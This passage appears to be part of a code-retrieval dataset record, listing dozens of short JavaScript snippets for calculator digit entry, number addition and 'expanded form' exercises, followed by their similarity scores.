`<p>${product}</p>`\n\n console.log(product);\n}", "function numberManage(value) {\n\t// if number is 0 replace it. Otherwise add to it\n\tif (buffer === \"0\") {\n\t\tbuffer = value;\n\t\t// console.log(value);\n\t} else {\n\t\tbuffer += value;\n\t}\n\t// if too many numbers inputted, stop allowing it\n\t// if (buffer.length > 10) buffer = buffer.substring(0,10);\n\t// return;\n\n}", "function displayDigits(digit){\n //var digitValue = digit.value\n document.getElementById(\"inputs\").innerHTML += digit.value; //innerHTML is used to insert elements into id *in a div NOTE that += means appending\n}", "function expandedForm(num) {\n // turn number into string\n const input = num.toString();\n const output = [];\n // initiate a multiplier for each digit\n let multiplier = 1;\n\n // loop through the input string, starting at index 1\n for (let i = 1; i <= input.length; i++) {\n // take digit by digit, going from the last digit of the number\n const digit = input[input.length - i];\n //console.log(\"digit:\", digit)\n\n // skip if the digit is a zero; add the digit\n digit > 0 && output.unshift(digit * multiplier);\n\n // increase the multiplier times 10 with each iteration as we move through the number\n multiplier *= 10;\n //console.log(\"output:\", output)\n }\n // join the output into a string using plus sign\n return output.join(\" + \");\n}", "function addNumbers() {\n //+ in front of something coerces it into a number\n //not sure why we have \"+=\" in the assignment bc the answer variable is then treated as a string and it just concatenates if button is clicked more than once.\n answer = +answer + +( +document.getElementById('inputOne').value + +document.getElementById('inputTwo').value );\n \n alert(answer);\n }", "function addNumbers(num1, num2) {\n $('#result-add').text(num1 + num2)\n }", "function getNumber(X){\n document.getElementById(\"allValue\").value = document.getElementById(\"allValue\").value + X;\n \n}", "function inputNum(element){\n $(\"#dialer-box\").val($(\"#dialer-box\").val()+element.value);\n}", "function numeros(a){\r\n document.getElementById(\"resultado\").value = document.getElementById(\"resultado\").value+a;\r\n}", "appendNumber(number){\n if (number === '.' && this.currentOperand.includes('.')) return\n this.currentOperand = this.currentOperand.toString() + number.toString()\n }", "function getValue(evt) {\n var enteredNumber = String(evt.target.value);\n console.log(enteredNumber);\n if (input.innerText === '+' || input.innerText === '-' || input.innerText === 'x' || input.innerText === '/') {\n counter++;\n currentString[counter] = enteredNumber;\n input.innerText = enteredNumber;\n }\n else {\n currentString[counter] = currentString[counter] + enteredNumber;\n input.innerText = String(currentString[counter]);\n }\n}", "function add_number_to_display(append_to_display) {\n if (operator_pressed) {\n if (display == previous_number) {\n display = append_to_display;\n } else {\n display = String(display) + append_to_display;\n }\n } else {\n if (display == \"0\") {\n display = append_to_display;\n } else {\n display = String(display) + append_to_display;\n }\n }\n\n document.getElementById(\"display\").value = display;\n}", "function expandedForm(num) {\n \n return (num).toString().split(\"\").map((a,i,arr) =>{\n return a*Math.pow(10, arr.length-i-1);\n }).filter(n => n>0).join(\" + \");\n\n}", "function addDigit(num){\n value = Number(value.toString() + num.toString());\n draw();\n}", "list_of_numbers(numbers) {\n for(var list_number = \"\", addition = \"\", i = numbers.length - 1; i >= 0 ; i-- ){\n addition = i > 0 ? \" + \" : \"\"\n list_number += numbers[i] + addition\n }\n return list_number\n }", "function addSpaces(inputNumber){\n\treturn inputNumber;\n}", "function numberClickUpdate(num) {\n // do not append num to display input if the value of display input is empty and num is 0\n if(!(displayValElement.value == '' && num == 0)){\n displayVal += num;\n displayValElement.value = displayVal;\n } \n}", "function addNum(){\r\n var fNum=document.getElementById(\"firstNum\");\r\n var sNum=document.getElementById(\"secNum\");\r\n var result=parseInt(fNum.value) + parseInt(sNum.value)\r\n document.getElementById(\"result\").value=result\r\n}", "function expandedForm(num) {\n let numArr = num.toString().split('')\n for (let i = 0; i<numArr.length; i++){\n for (let j = numArr.length - i; j > 1; j--){\n numArr[i] += '0'\n }\n }\n let result = numArr.filter( x => !x.startsWith(0))\n return result.join(' + ')\n }", "function appendNumber(number){\n if(number==='.' && currentOperand.includes('.')) return;\n currentOperand=currentOperand.toString()+number.toString();\n \n getDisplayNumber(currentOperand);\n updateDisplay();\n}", "appendNumber(number){\n if(number === \".\" && this.currentOperand.includes(\".\")) return\n this.currentOperand = this.currentOperand.toString() + number.toString();\n \n }", "appendNumber(number) {\n if( number === '.' && this.currentOperand.includes( '.' ) ) return\n this.currentOperand = this.currentOperand.toString() + number.toString() ;\n }", "function sumUp(num) {\n var userNumber = (typeof num !== \"number\") ? Number(num) : num;\n var userNumberDigits = userNumber.toString().split(\"\");\n document.querySelector(\".sumUpNumber\").innerHTML = \"numbers to sum up = \" + num + \"\\n\" + \" = \" +userNumberDigits.reduce((a, b) => Number(a) + Number(b), 0);\n}", "appendNumber(num) {\n if(this.currOperand.includes('.') && num === '.') return\n this.currOperand = this.currOperand.toString() + num.toString()\n }", "appendNumber(number){\r\n // toString() in order to append\r\n if(number === '.' && this.currentOperand.includes(\".\")) return\r\n this.currentOperand = this.currentOperand.toString() + number.toString();\r\n }", "addNumber(number) {\n //Only allows user to add one period\n if (number === \".\" && this.currentOperand.includes(\".\")) return;\n //Converting the current operand and the number into a string in order to concatinate the numbers and not add them\n //\n this.currentOperand = this.currentOperand.toString() + number.toString();\n }", "function enterNumber(newNumber) {\n if (numberEntered.length >= keypadNumbersLimit) {\n return;\n }\n numberEntered += newNumber.toString();\n}", "function concatenation(){\nconcString();\nconcNumStr();\nconcNumStrAsNum();\n}", "function formatNumbers() {\n //remove last operator if there are too many operators\n if (operators.length < numbers.length) {\n operators.pop()\n }\n //checks if any numbers are clicked:\n else if (clicked.length > 0) {\n clicked = Number(clicked.join(\"\"));\n numbers.push(clicked);\n clicked = [];\n }\n}", "function add()\n{\nlet firstNumber = document.getElementById(\"firstNumber\").value;\nfirstNumber = Number(firstNumber);\n\nlet secondNumber = document.getElementById(\"secondNumber\").value;\nsecondNumber = Number(secondNumber);\n\nlet answer = firstNumber + secondNumber;\n\ndocument.getElementById(\"answer\").value = answer;\n\n}", "function add() {\n var val = merch.value;\n var num = input.value;\n console.log(val);\n console.log(num);\n}", "function addNumber(event){ \n let str = event.target.id;\n number = str.charAt(3);\n let text =document.getElementById(\"txt\");\n text.value=text.value+number; \n \n}", "function celNumbers() {\n let cant = document.getElementById('numero').value;\n var txt = document.getElementById('txt');\n var numeros = [];\n txt.value = \"\";\n\n for(let x = 0; x < cant; x++){\n numeros[x] = \"9\" + lada[aleatorio(22)];\n for(let y = 0; y < 6; y++){\n numeros[x] += \"\" + aleatorio(9);\n }\n txt.value += numeros[x] + \"\\n\";\n }\n}", "function inputDigit(input){\n if (calaculator.displayNumber==='0'){\n calaculator.displayNumber=input\n }else {\n calaculator.displayNumber += input\n\n }\n \n}", "function Nu(num){\r\ndocument.getElementById(\"result\").value=document.getElementById(\"result\").value+num;\r\n}", "appendNumber(number) {\n if(number === '.' && this.currentOperand.includes('.')) return\n this.currentOperand = this.currentOperand.toString() + number.toString()\n}", "function numberFunction(e) {\n if(result != \"\") {\n expression = result;\n document.querySelector('#expression').innerHTML = expression;\n document.querySelector('#result').innerHTML = \"\";\n }\n expression += e.target.value;\n document.querySelector('#expression').innerHTML = expression;\n}", "function expandedForm(num) {\n\tconst degree = (num + '').length;\n\tlet arr = [];\n\tfor (let i = degree; i >= 0; i--) {\n\t\tlet number = Math.floor(num / Math.pow(10, i - 1)) * Math.pow(10, i - 1);\n\t\tif (number !== 0) {\n\t\t\tarr.push(number + '');\n\t\t\tnum -= number;\n\t\t}\n\t}\n\treturn arr.join(' + ');\n}", "function addNum(someNum) {\r\r\n if (currentNum.length < 7) {\r\r\n if (isDecimal === true && someNum === \".\") {\r\r\n return;\r\r\n }\r\r\n currentNum = currentNum + someNum;\r\r\n $(\".viewport\").html(currentNum);\r\r\n lastButton = \"num\";\r\r\n lastNum = currentNum;\r\r\n if (someNum === \".\") {\r\r\n isDecimal = true;\r\r\n }\r\r\n }\r\r\n}", "function appendOnscreen(x){\n if(x.innerHTML=='.')\n {\n let v=document.getElementById('input').value;\n let list=v.split('.');\n if(list.length>1)\n {\n window.alert('this operation is not allowed');\n return;\n }\n }\n \n if(operand1==null)\n {\n let number1=x.innerHTML;\n let number2=document.getElementById('input').value;\n let y=number2+number1;\n document.getElementById('input').value=y;\n \n }\n else{\n if(flag==false)\n {\n document.getElementById('input').value=\"\";\n flag=true;\n }\n let number1=x.innerHTML;\n let number2=document.getElementById('input').value;\n let y=number2+number1;\n document.getElementById('input').value=y;\n\n }\n}", "function takeNumber(e){\n if(isFirstNumNotFinish){\n if(result != ''){\n result = '';\n resultInner.innerText = '';\n }\n firstNumber += e.target.innerText;\n resultInner.innerText += e.target.innerText;\n }else{\n secondNumber += e.target.innerText;\n resultInner.innerText += e.target.innerText;\n }\n}", "function addNumber (inputNum)\n{\n number += inputNum;\n displayF(number);\n}", "function combine(input1, input2) {\n if (typeof input1 === \"number\" && typeof input2 === \"number\") {\n return input1 + input2;\n }\n else {\n return input1.toString() + input2.toString();\n }\n}", "function displayNumber(num){\n givenNumberValue.value += num;\n}", "function numeroPulsado(numero) {//controlar varios puntos\n //lineaInputText1 += numero;//cambiar lineaInputText por ta1.value\n return numero;\n}", "appendNum(number){\n if (number === \".\" && this.currentOp.includes(\".\")) return //if type . and . exists, stop/ do not append\n this.currentOp = this.currentOp.toString() + number.toString() //converts to string\n }", "function numberToString(num) {\n\t\tvar result=\"\"\n\t\tresult+=num;\n\t\treturn result;\n\t //your code is here\n\t}", "function addTogether(...args) {\n if (typeof(args[0]) === 'number') {\n if (args.length === 2) {\n return (typeof(args[1]) === 'number') ? args[0] + args[1] : undefined;\n }\n return num => (typeof(num) === 'number') ? args[0] + num : undefined;\n }\n return undefined;\n}", "function getNumber()\n\t{\n\t\tif(this.value == \".\" && acc.includes(\".\"))\n\t\t\treturn;\n\t\t\n\t\tacc = acc + this.value;\n\t\tdocument.getElementById(\"output\").value = acc;\n\t}", "function numberJoinerFancy (number1, number2, anyString) {\n if (number1 > number2) {\n return \"error, number 1 must be smaller than number 2.\"\n } else {\n var x = String (number1)\n while (number1 < number2) {\n number1++;\n if (anyString !== undefined){\n x += String(anyString) + String(number1)\n } else {\n x += \"_\" + String(number1)\n }\n }\n return x\n }\n}", "function displayForDoArithmetic (theNumbersForDisplay) {\n \"use strict\";\n document.getElementById(\"resultNumberCount\").value = theNumbersForDisplay[0];\n document.getElementById(\"resultNumberTotal\").value = theNumbersForDisplay[1]; \n document.getElementById(\"resultWordCount\").value = \"\";\n}", "handleConcat(NUMBER) {\n let concatedNumber = this.state.operand.concat(NUMBER);\n this.setState(()=> {\n return {operand: concatedNumber}\n })\n this.updateLowerDisplay(concatedNumber);\n }", "function operaters(x){\r\n\tif (document.getElementById('textview').value == 0) {\r\n\t\tdocument.getElementById('textview').value = num;\r\n\t\t}else {\r\n\t\tdocument.getElementById('textview').value = document.getElementById('textview').value+ x;\r\n\t}\r\n\t\t\r\n\r\n\r\n\r\n}", "function calculate(givenNumbers){\n //will not execute if user presses = before entering anything\n if(givenNumbers === '') return '';\n \n //removing all the hanging symbols from the end in case there are any (just in case, maybe it's not necessary)\n while(isLastCharInteger(givenNumbers) === false){ \n givenNumbers = removeLastChar(givenNumbers)\n }\n \n if(givenNumbers === ''){\n return givenNumbers;\n }\n \n let arrayOfOperations = stringToArr(givenNumbers)\n let result = performCalculation(arrayOfOperations)[0]\n return result.toString()\n \n}", "function sum_func(){\n document.getElementById('sum').innerHTML = parseInt(document.getElementById('num_1').value)\n + parseInt(document.getElementById('num_2').value);\n}", "function pinTypingNumber(typeNumber) {\n let inputNumber = document.getElementById('showingTypingNumber');\n inputNumber.value = inputNumber.value + typeNumber;\n return inputNumber.value;\n}", "function formatPhoneNumber(numbers) {\n var phoneNumber = []\n phoneNumber.push('(', numbers[0], numbers[1], numbers[2], ')')\n phoneNumber.push(' ', numbers[3], numbers[4], numbers[5])\n phoneNumber.push('-', numbers[6], numbers[7], numbers[8], numbers[9])\n console.log(phoneNumber.join(''))\n return phoneNumber.join('')\n}", "function number(a){\n if(end){\n calc.input.value+=a;\n } else {\n reset();\n calc.input.value+= a;\n }\n}", "function storeDigit(e){\n currentString = currentString + e.target.value;\n getDisplay();\n}", "function validatenumber(xxxxx) {\r\n \r\n \tvar maintainplus = '';\r\n \tvar numval = xxxxx.value\r\n \tif ( numval.charAt(0)=='+' ){ var maintainplus = '+';}\r\n \tcurnumbervar = numval.replace(/[\\\\A-Za-z!\"£$%^&*+_={};:'@#~,¦\\/<>?|`¬\\]\\[]/g,'');\r\n \txxxxx.value = maintainplus + curnumbervar;\r\n \tvar maintainplus = '';\r\n // alert(\"enter integers only\");\r\n \txxxxx.focus;\r\n}", "function number_format(user_input){\n user_input = user_input.toString();\n var filtered_number = user_input.replace(/[^0-9]/gi, '');\n var length = filtered_number.length;\n var breakpoint = 1;\n var formated_number = '';\n\n for(i = 1; i <= length; i++){\n if(breakpoint > 3){\n breakpoint = 1;\n formated_number = '.' + formated_number;\n }\n var next_letter = i + 1;\n formated_number = filtered_number.substring(length - i, length - (i - 1)) + formated_number;\n\n breakpoint++;\n }\n\n return formated_number;\n }", "function plus3() {\n\tvar value = parseInt(document.getElementById('num3').value, 10);\n\tvalue = isNaN(value) ? 0 : value;\n\tvalue++;\n\tdocument.getElementById('num3').value = value;\n }", "function plus1() {\n\tvar value = parseInt(document.getElementById('num1').value, 10);\n\tvalue = isNaN(value) ? 0 : value;\n\tvalue++;\n\tdocument.getElementById('num1').value = value;\n }", "function addTogether() {\n // Takes array and checks each element - if typeof does not return \"number\" return undefined, else return true\n function checkArguments(array){\n for (var element of array) {\n if (typeof element !== \"number\") return undefined;\n }\n return true;\n }\n // Function to apply in reduce() - takes currentValue and adds to an accumulator\n function reducer(accumulator, currentValue){\n return accumulator + currentValue;\n }\n // Creating args array from arguments \n var args = [...arguments];\n \n // If checkArguments returns true (all elements are numbers)\n if (checkArguments(args)){\n if (args.length == 2){\n // If there is two elements in args - reduce to one value by adding them\n sum = args.reduce(reducer);\n // Return reduced value\n return sum;\n } else {\n /* In case args.length == 1 - assign parameter to oldNum - \n return function that calls addTogether with oldNum and num (next number in original function call or otherwise)*/\n var oldNum = args[0];\n return function sumOldNumAnd(num){\n return addTogether(oldNum , num);\n };\n }\n } else {return undefined};\n //return undefined if checkArguments returned undefined. \n \n }", "function putNumber(num){ // for buttons\n line.value = line.value + num.toString();\n}", "function expandedForm (num) {\n // turn num into a string number so it can be split\n let numStr = num.toString();\n // separate the digits in the number\n const digitsArray = numStr.split(\"\");\n console.log(digitsArray);\n\n const expandedNum = [];\n let placeValue = 1;\n // loop through the digits, multiplying each one by the next multiple of 10 for each increase in its index position\n // the loop has to go backwards through the array because the placeValue values increase by multiples of 10 from right to left\n for (let i = digitsArray.length - 1; i >= 0; i--) {\n // multiply the current digit by the placeValue value, which was initialized as a global variable starting at 1\n let digitValue = placeValue * digitsArray[i];\n // push that number to a new array\n expandedNum.push(digitValue);\n // multiply the placeValue variable by 10 to set place value for the next digit\n placeValue *= 10;\n }\n\n // the result of the for loop gets you the expandedNum array, but all the numbers are ordered in reverse in the array\n // we need to return the expandedNum but reverse it and the join the elements of the array into a string with + signs separating each number\n // the array will also contain 0s, so we need to filter those out\n return expandedNum\n .reverse()\n .filter(digit => digit !== 0)\n .join(\" + \")\n \n}", "function summation() {\r\n let num1 = document.getElementById(\"#num1\")[0].value);\r\nlet num2 = document.getElementById(\"#num2\")[0].value);\r\nlet sum = number(num1) + Number(num2);\r\ndocument.getElementById(\"sum\").value = sum;\r\n}", "function dis(val) {\n document.getElementById(\"result\").value += val\n}", "function addNum() {\n // add number to display\n\n function numClick(number) {\n\n if ((eval(currentNum) == 0) && (currentNum.indexOf(\".\" == -1))) {\n currentNum = number;\n } else {\n currentNum += number;\n }\n document.getElementById(\"result-display\").value = currentNum;\n\n }\n\n\n// event.target.id to get the number values from the button click\n\n// stackoverflow.com/a/35936912/313756\n\n\n\n $(\"#1\").click(function(){\n numClick(\"1\");\n });\n // if ((eval(currentNum) == 0) && (currentNum.indexOf(\".\" == -1))) {\n // currentNum = \"1\";\n // } else {\n // currentNum += \"1\";\n // }\n // document.getElementById(\"result-display\").value = currentNum;\n // });\n\n $(\"#2\").click(function(){\n numClick(\"2\");\n });\n\n $(\"#3\").click(function(){\n numClick(\"3\");\n });\n\n $(\"#4\").click(function(){\n numClick(\"4\");\n });\n\n $(\"#5\").click(function(){\n numClick(\"5\");\n });\n\n $(\"#6\").click(function(){\n numClick(\"6\");\n });\n\n $(\"#7\").click(function(){\n numClick(\"7\");\n });\n\n $(\"#8\").click(function(){\n numClick(\"8\");\n });\n\n $(\"#9\").click(function(){\n numClick(\"9\");\n });\n\n $(\"#0\").click(function(){\n numClick(\"0\");\n });\n\n}", "function clickNumber(event) {\r\n console.log(event.target.value);\r\n \r\n if(operation.innerHTML == \"\")\r\n\tfirstNumber.innerHTML += event.target.value;\r\n else if(operation.innerHTML != \"\")\r\n\tsecondNumber.innerHTML += event.target.value;\r\n}", "function addNumbers() {\n for (var _len = arguments.length, numbers = Array(_len), _key = 0; _key < _len; _key++) {\n numbers[_key] = arguments[_key];\n }\n\n return numbers.reduce(function (accum, curr) {\n return accum + curr;\n });\n}", "function add() {\n const value1 = parseInt(input1.value);\n const value2 = parseInt(input2.value);\n\n const result = value1 + value2;\n\n input3.value = result;\n}", "function formatInput(value) {\n let useableString = '';\n return value.toLowerCase().split(' ').join('+');\n}", "addDigits() {\n for (var i = 1; i <= 30; i++) {\n this.digits.push(i);\n }\n }", "function input(num) {\n currentInput += num;\n updateDisplay(currentInput);\n document.getElementById(\"keyequals\").textContent = \"=\";\n}", "function addComaToReturnedNum(finalValueToFormat) {\n\n let num = finalValueToFormat.toString();\n\n \n\n if (num > 999 && num < 10000) {\n \n let x = num.split('');\n \n x.splice(1, 0, \",\")\n\n num = x.join('').toString(); \n }\n else if (num > 9999 && num < 100000) {\n let x = num.split('');\n\n x.splice(2, 0, \",\")\n\n num = x.join('').toString();\n }\n else if (num > 99999 && num < 999999) {\n let x = num.split('');\n\n x.splice(3, 0, \",\")\n\n num = x.join('').toString();\n }\n else if (num > 999999) {\n let x = num.split('');\n\n x.splice(1, 0, \",\")\n x.splice(5, 0, \",\")\n\n\n num = x.join('').toString();\n }\n return num;\n }", "function addToInput(someString){\n document.getElementById('calcInput').value += someString;\n}", "function plus2() {\n\tvar value = parseInt(document.getElementById('num2').value, 10);\n\tvalue = isNaN(value) ? 0 : value;\n\tvalue++;\n\tdocument.getElementById('num2').value = value;\n }", "function pressedDigitOne() {\nx = document.getElementById('textbox');\nx.value += \"1\"; // Clarify what \"+=\" does.\n}", "function add(a,b) {\r\n let [a_str, b_str] = [a, b].map((e) => e.split('').reverse().join(''))\r\n let number = 0\r\n let result = []\r\n for (let i = 0; i < (a.length > b.length ? a.length : b.length); i++) {\r\n let sum = ((+a_str[i] || 0) + (+b_str[i] || 0) + number)\r\n number = sum > 9 ? Math.floor(sum / 10) : 0\r\n result.push(sum % 10)\r\n }\r\n if (number !== 0) result.push(number)\r\n return result.reverse().join('')\r\n}", "function addAll(...num){\n\n let total = 0;\n\n\n num.forEach(digit => total += digit\n )\n\n return total\n\n\n}", "inputDigit(digit) {\r\n\r\n const { displayValue, waitingForOperand } = this.state\r\n\r\n if (waitingForOperand) {\r\n this.setState({\r\n displayValue: String(digit),\r\n waitingForOperand: false\r\n })\r\n } else {\r\n \r\n // concatenates input e.g. I + I = II\r\n this.setState({\r\n displayValue: displayValue === '' ? String(digit) : displayValue + digit\r\n })\r\n }\r\n }", "function calcNumbers (num) {\n if (calcState.numFlag) {\n output.innerHTML = num;\n calcState.numFlag = false;\n return;\n }\n \n if (output.innerHTML === '0' && num === '.') {\n output.innerHTML = output.innerHTML + num;\n return;\n }\n \n if (output.innerHTML === '0') {\n output.innerHTML = num;\n return;\n }\n output.innerHTML = output.innerHTML + num;\n }", "function touchespls() {\n\tif (num[10]==true){\n\t\twindow.document.calculatrice.affiche.value = \n\t\twindow.document.calculatrice.affiche.value + \"+\";\n\t\tverif = true;\n\t} else {\n\t\twindow.document.calculatrice.affiche.value = \n\t\twindow.document.calculatrice.affiche.value + \"\";\n\t}\n}", "function numClick(number) {\n\n if ((eval(currentNum) == 0) && (currentNum.indexOf(\".\" == -1))) {\n currentNum = number;\n } else {\n currentNum += number;\n }\n document.getElementById(\"result-display\").value = currentNum;\n\n }", "function getNumbers() {\n return numbers.join();\n}", "function addition()\r\n {\r\n var num1,num2,sum;\r\n num1=Number(document.getElementById(\"firstnum\").value);\r\n num2=Number(document.getElementById(\"secnum\").value);\r\n sum=num1+num2;\r\n document.getElementById(\"result\").value=sum; \r\n }", "function concResult(newInput){\n result += newInput;\n setResult(result);\n \n }", "function numberPressed() {\n\n //all of my values that I am getting from the button pressing I am storing in an array (inputs[]).\n //the variable totalInt1 is used as a snapshot of what the current index in the array is at that time.\n if($(this).text() == '.'){\n if(inputs[i].includes(\".\")){\n return;\n }\n }\n if(num1 == null) {\n var val = $(this).text();\n inputs[i] += val;\n totalInt1 = inputs[i];\n $(\"#displayScreen p\").text(totalInt1);\n }\n else if(num1 != null && num2 !=null){\n var ogOperator = inputs[inputs.length-3];\n num1 = doMath(num1 , num2 , ogOperator);\n num2 = null;\n ++i;\n ogOperator = operator;\n }\n else if(num2 == null) {\n var val = $(this).text();\n if(inputs[i] == null){\n inputs[i] = \"\";\n }\n inputs[i] += val;\n totalInt2 = inputs[i];\n $(\"#displayScreen p\").text(totalInt2);\n }\n equalFire = false;\n}", "function numberToString(num) {\n\t //your code is here\n\t var result=\"\";\n\t result=result+num;\n\t return result;\n\t}", "function addNumbers(a,b,c,d) {\n return this.firstName + \" just calculated \" + (a+b+c+d);\n}" ]
[ "0.67407644", "0.6726696", "0.6695815", "0.66928864", "0.6689175", "0.66229326", "0.65792966", "0.6569793", "0.6551772", "0.6513389", "0.6499691", "0.64979035", "0.64514065", "0.6443353", "0.643137", "0.6395784", "0.63760275", "0.6349196", "0.634494", "0.6328758", "0.630479", "0.628268", "0.62826043", "0.62701553", "0.6268209", "0.6267727", "0.62481993", "0.624567", "0.62413013", "0.62377965", "0.62351143", "0.6234117", "0.62217826", "0.6221286", "0.6220677", "0.62015206", "0.6188323", "0.6184314", "0.618214", "0.6162643", "0.61616564", "0.6142263", "0.6118345", "0.6091109", "0.6082093", "0.6081751", "0.6076083", "0.6063372", "0.6056512", "0.6048744", "0.6036055", "0.60241705", "0.60021454", "0.59959537", "0.59924567", "0.59900707", "0.59867543", "0.5977797", "0.5966086", "0.59654903", "0.59606797", "0.5950697", "0.59496355", "0.5944284", "0.5931164", "0.59232414", "0.5919677", "0.5917697", "0.59170437", "0.59157085", "0.5908975", "0.5906578", "0.59060824", "0.59008807", "0.59004223", "0.5898228", "0.58797705", "0.58786595", "0.585874", "0.58579475", "0.5852119", "0.58437437", "0.5842913", "0.5835633", "0.58328193", "0.5823361", "0.58231616", "0.5818393", "0.5814602", "0.5813671", "0.58135694", "0.58125347", "0.58072317", "0.5806775", "0.5806583", "0.5803973", "0.57996356", "0.5799112", "0.5798359", "0.5796765", "0.57960117" ]
0.0
-1